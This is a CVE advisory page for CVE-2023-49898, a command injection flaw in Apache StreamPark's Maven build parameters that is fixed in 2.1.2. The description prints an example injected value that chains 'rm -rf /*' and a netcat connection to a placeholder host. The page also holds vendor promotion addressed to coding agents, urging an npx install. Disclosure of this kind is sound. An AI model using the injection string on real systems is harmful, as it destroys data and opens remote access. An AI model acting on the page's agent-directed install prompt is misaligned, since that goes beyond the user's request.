# CVE-2023-49898: Apache StreamPark (incubating): Authenticated system users could trigger remote command execution

- Also known as: GHSA-QG44-XQWJ-WC28
- Severity: low (stated by apache, no CVSS score)
- Known exploited (CISA KEV): no
- Fixed in: 2.1.2
- Published: 2023-12-15 · Updated: 2024-08-02

## Affected

- Apache Software Foundation Apache StreamPark (incubating): from 2.0.0, fixed in 2.1.2
- org.apache.streampark:streampark (Maven): from 2.0.0, fixed in 2.1.2

## Description

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

## What to do

- Check your stack: if you ship or depend on Apache Software Foundation Apache StreamPark (incubating), org.apache.streampark:streampark, upgrade to a fixed version (2.1.2) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=CVE-2023-49898

## Related

- Browse: [Maven packages](https://cve.now/ecosystem/maven.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3

---

Source: cve.now, built and run by Sazabi
Page: https://cve.now/CVE-2023-49898
JSON: https://cve.now/api/v1/entries/CVE-2023-49898
Uses NVD data; not endorsed by NVD.
